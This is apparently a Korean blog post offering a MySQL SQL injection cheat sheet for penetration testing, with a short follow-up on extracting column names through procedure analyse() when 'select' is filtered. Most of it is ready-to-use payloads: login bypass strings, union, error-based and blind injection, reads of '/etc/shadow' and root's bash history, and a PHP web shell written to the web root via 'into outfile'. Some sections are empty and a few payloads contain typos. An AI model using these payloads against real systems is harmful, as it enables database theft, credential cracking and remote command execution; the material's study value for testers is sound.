MySQL SQL Injection


SQL Injection 맨날 하면서도 맨날 까먹어서 치트시트 검색하곤 했는데 그냥 직접 만들어 놓고 보기로 했다. 


시작은 MySQL !! 







### SQL Injection Cheat Sheet - MySQL ###



             v0.1 

by hyunmini

last updated 2014.09.25





  # 테스트 순서


 1. 취약여부 확인 및 공격 기법 선택  


  1) Basic Injection               // 취약점 테스트


    ex)  no=1 and 1=1#



  2) Error Based Injection     // 데이터베이스 가져오기 가장 편함

    

    ex) no=-1'  (에러 메시지 출력 유무 확인)



  3) Union Injection               // 쿼리 하나당 결과 하나이상 가져올 수 있음 


    ex) no=-1 union select 1,2 --

          no=-1 union select 1,2,3 --

          no=-1 union select 1,2,3,4 --  ( 문자열이고 화면에 보여지는 컬럼 확인 )



  4) Blind Injection                 // 쿼리8번에 1글자씩 가져옴. 느리고 툴이 필요함


    ex) no=1 and 1=1 #

          no=1 and 1=2 #

          no=1 and substring( version(), 1,1 ) > '4' 




 2. 버전 확인


  - 4.0 이하와 4.1 이상 버전의 공격기법에 차이가 있음(4.0 이하는 subquery 불가 및  information_schema 미존재)

   ex) version(),  @@version 등 



 3. 테이블명 추출


  ex)  ' and 1,2,3, (select table_name from information_schema.tables limit 0,1),4 --

   output => userinfo



 4. 필드명 추출


  ex) ' and 1,2,3, (select column_name from information_schama.columns limit 0,1), 4 --

   output => uid


 

5. 데이터 추출


  ex) ' and 1,2,3, (select uid from userinfo limit 0,1), 4 --

   output => admin

 


 6. 접속 유저 및 파일 권한 확인


 7. OS Interaction 공격 시도

 

 - load_file('/etc/passwd')  ->  계정 및 홈폴더 등 확인

 - load_file('/etc/shadow')  - >  shadow 크랙 ->  크랙된 계정으로 서버 접근 시도

 - load_file('/root/.bash_history')  ->  명령어 확인, 간혹 mysql -U[user] -P[password]  등의 정보도 확인 가능

 - load_file('/.rhosts') -> 신뢰호스트 및 계정 확인, 서버 접근 시도

 - load_file('/etc/apache2/apache2.conf') ->  document root 폴더 확인, 기타 서비스 확인 등


 - select '<? system("$_GET['cmd']"); ?>' into outfile '/var/www/shell.php'   ->  www.vul.com/shell.php?cmd=id

 




 # Basic Injection

 

 1. String 


 ' and 1=1--

 ' or 'a'='a

 '='

 ' and 'c'='c

 ' and 1# 

 ' or '1

 ' or 1--+

 " or ""="

 "="

 '='

 '=0#


 2. Numeric 


 and 1=1#

 and 1

 and true = 1-- 

 and 1*1

 and 3-2

 =0




  # Comment


  #

  --

  /*  */ 

  -- 

  ;

  ; %00

  ` 




  # Error Based Injection

 mysql> select sum(5),concat(version(),floor(rand(0)*2))as a from information_schema.tables group by a;

 

 -> ERROR 1062 (23000): Duplicate entry '5.1.63-0ubuntu0.10.04.11' for key 'group_key' 



 ' union (select count(*),concat('result: ',database(),' :',floor(rand(0)*2))as b from information_schema.tables group by b)#


  -> ERROR 1062 (23000): Duplicate entry 'result: 
test :1' for key 'group_key'




  # Union Injection

 

 1) 컬럼수 확인 


 ' union 1 --

 ' union 1,2 --

 ' union 1,2,3 --



 2) 문자필드 및 출력필드 확인


 ' union 1,2,'a',4,5 -- 

 ' union 1,2,3,'a',5 --



 3) Union 인젝션

 -1' union select 1,2,3,version(),0 #                // 4.0 이하

 -1' union select 1,2,3,(select version()),0 #   // 서브쿼리는 4.1 이상만 가능

 -1' union select 1,2,3,user from mysql.user #      // 4.0 이하에서 서브쿼리 대신 사용 가능





  # BlindSQL Injection 

 

 ' and 1=1 #   // True  

 ' and 1=2 #   // False

 ' or 1=1 --

 ' or 1=2 --

 ' and 'c' between 'a' and 'z' #


 ' and substring( (select table_name from information_schema.tables limit 0,1),1,1 ) > 'a'




  # Insert Injection

  b', 'c','d')--

  b', 'c','d')('a','b','c','d')#


 b', 'c','d')( user(), version(), 'c','d') #




  # False Injection

  a'=0 # 

  a'=1=1 #      //  True, 결과값 없음 

  a'=1=0 #      //  False, 논리적으로 1=1과 같음 => 모든 데이터 출력

  a'=1=1=1=0 #

  a'=1=1=1=1<>1 #

  no=1<>0

no=1<>1

no=1<0

no=1<1

no=1*1

no=1*0

no=1%0

no=1%1

no=1 div 0

no=1 div 1

no=1 regexp 0

no=1 regexp 1

no=1^0

no=1^1

   ...

  ex) False Injection 로그인 우회
        id='='
        id=1'='0
        id=1'^'1 
        id=1'-'1

  ex) False Blind Injection ( 아래 예제는 버전이 5.0 인 경우 )

        no=1=(if( substr(version(),1,1)='5' ,1 ,0 ))=0 #    // 1=0(False) , 데이터 출력

        no=1=(if( substr(version(),1,1)='4' ,1 ,0 ))=0 #    // 0=0(True) , 결과 없음





  # Basic Information

 select @@version       // 버전 

 select version()          // 버전

 select user()

 select system_user()



  # MySQL Function


 1. string

 

  mid()

  left()

  right()

  concat('a','b','c') = 'abc'


 2. 



# File I/O


 

# Filter Bypass



# Outbound



# 팁

 - load_file()을 이용한 서버 정보 추출

 - into outfile, dumpfile 을 이용한 웹쉘 생성



MySQL 4.0 이하 버전에서는 information_schema 가 없다. 즉 테이블, 필드명을 알 수 없다는 것이다. 


하지만 모의해킹을 위해서는 알아내야만 한다. 해결 방법은 여러가지가 있다.


1) 추측(brute forcing)

    search_value=-1' union select 'abcde',1,2 from mail# 

     => java.lang.Exception: General error,  message from server: "Table 'cleandb.mail' doesn't exist"


2) 소스코드 열람(union 혹은 blind, error based 등 모두 가능)

    -1' union select load_file('/etc/passwd'),2,3#

    => 계정 및 홈폴더 파악

    -1' union select load_file('/var/www/htm/member.php'),2,3#

    => 소스코드 열람 및 쿼리문을 보고 테이블명 확인


3) MySQL 로그파일 열람

    -1' union select load_file('/var/log/mysql/log/error.log'),2,3#


4) 웹쉘 업로드

    -1' union select '<? system($_GET['cmd']); ?>',0,0 into outfile '/var/www/html/shell.php'# (혹은 dumpfile)





MySQL 에서 발생할 수 있는 특이한 인젝션 기법을 알게 되어서 포스팅 합니다.


워게임 사이트 문제 풀다 알게 된 것이고...어느정도 웹해킹에 대해선 자신있어 했던게 부끄럽네요. ^^;


더욱 열심히 공부해야 겠습니다.




요지는 select 키워드가 필터링 될때, 어떻게 필드명을 알아낼 수 있을까 라는 것에 대한 것입니다.


select 가 필터링 되면 information_schema.tables 나 columns 에서 쿼리를 할 수 없습니다. 이 문제에선 


","(콤마) 와 작은 따옴표까지 필터링 되고 있어서 더욱 쉽지 않습니다. 삽질을 좀 하다가 구글링을 통해 


mysql 함수중 하나인 procedure analyze() 함수를 알게 되었습니다.




mysql> select id from test where no=1 procedure analyse();

+--------------+-----------+-----------+------------+------------+------------------+-----+

| Field_name    | Min_value | Max_value | Min_length | Max_length | Empties_or_zeros | Nulls | 

+--------------+-----------+-----------+------------+------------+------------------+-----+

| test.test.id  |   admin     |   admin     |                5 |               5 |                         0 |     0 |

+--------------+-----------+-----------+------------+------------+------------------+-----+



중요한 것은 테이블,필드명을 모른다고 해도 test.test.id 와 같은 형식으로 출력된 첫번째 필드명을 통해


테이블명을 알 수 있다는 것입니다. 


mysql> select id from test where no=limit 0,1 procedure analyse();   // 첫째 필드

mysql> select id from test where no=limit 1,1 procedure analyse();   // 둘째 필드

mysql> select id from test where no=limit 2,1 procedure analyse();   // 셋째 필드


information_schema, union, select 등이 막힌 상황에서 유용할 듯 싶습니다. :)

+ Recent posts